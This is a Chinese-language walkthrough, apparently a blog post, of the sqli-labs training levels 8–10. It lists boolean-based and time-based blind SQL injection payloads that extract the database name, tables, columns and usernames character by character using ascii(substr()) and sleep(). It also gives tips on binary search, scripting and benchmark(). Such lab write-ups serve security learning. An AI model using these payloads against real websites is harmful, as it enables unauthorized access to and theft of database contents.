sqli-labs-布尔盲注 (Less-8),时间盲注 (Less-9~10)

布尔盲注:

特点: 无数据回显,无错误信息,只有"你在"/"不在"两种状态。

bash 复制代码
-- 长度判断:页面正常
?id=1' and length(database())=8 --+
-- 逐位猜解:ASCII 115 对应 's'
?id=1' and ascii(substr(database(),1,1))=115 --+
-- 表名(第一个表的第一位,ASCII 101 对应 'e')
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
-- 字段名(users 表第一个字段第一位,ASCII 117 对应 'u')
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=117 --+
-- username 第一位(ASCII 68 对应 'D')
?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+

Less-8 单引号闭合,靠页面是否回显 "You are in..........." 判断条件真假,用 ascii(substr(...)) 逐位爆破所有数据

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

时间盲注:

特点: 无论查询成功与否都返回相同页面,只能用延迟判断。

bash 复制代码
Less9
--判断闭合与注入存在 (单引号 + sleep 验证)
?id=1' and sleep(5) --+
--爆库名长度
?id=1' and if(length(database())=8,sleep(5),1) --+
--逐位猜解库名
?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
--爆表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 数据(username 第一位)
?id=1' and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+


Less10
-- 验证闭合
?id=1" and sleep(5) --+
-- 爆库名长度(security 长度为 8)
?id=1" and if(length(database())=8,sleep(5),1) --+
-- 逐位猜库名(ASCII 115 = 's')
?id=1" and if(ascii(substr(database(),1,1))=115,sleep(5),1) --+
-- 爆表名(第一个表第一位,ASCII 101 = 'e')
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+
-- 爆字段名
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1) --+
-- 爆数据
?id=1" and if(ascii(substr((select username from users limit 0,1),1,1))=68,sleep(5),1) --+

Less-9 单引号闭合,无回显无报错,全靠 if(猜解条件, sleep(5), 1) 的响应时间差逐位爆破数据。(显示在等待sqli请求)

盲注提速 :实际可用二分法(>N / <N)替代等值爆破,或写脚本自动化

Less-10 是 Less-9 的双引号闭合版本

原理分析

  • IF(条件, sleep(5), 0) --- 条件为真时延迟5秒

  • 页面响应时间差异即为判断依据

  • 是最慢的注入方式,但在完全无回显时最可靠

  • 实际渗透中需考虑网络延迟和 sleep() 被禁用的情况(可用 benchmark() 替代)

相关推荐
m0_敲代码的彭于晏1688 小时前
Vercel 前端部署平台深度评测
前端
怕浪猫9 小时前
外包和大厂的前端代码,差在凌晨三点
前端·面试·github
m0_敲代码的彭于晏1689 小时前
Vercel 前端部署与全栈开发实战指南
前端·状态模式
徐小夕9 小时前
花了3个月,我们做了一款 AI 版的“飞书文档”
前端·算法·github
贾伟康10 小时前
【化学实验室|17】HarmonyOS ArkTS 亮暗色与视觉令牌实战:集中颜色、间距和交互状态避免页面割裂
前端·移动开发·harmonyos·arkts·arkui
Csvn10 小时前
SSR/SSG/ISR(上):峡谷与渲染策略的时间预算
前端
Csvn11 小时前
SSR/SSG/ISR(下):可交互性、新鲜度与回源账
前端
Elcker13 小时前
YnuoAgent(依诺):一个 npm 包,跑起属于自己的 AI 研发平台
前端·人工智能·npm
计算机魔术师13 小时前
发现2天,修复2个月:AI挖穿PHP后,卡兹克讲透攻防时间差
前端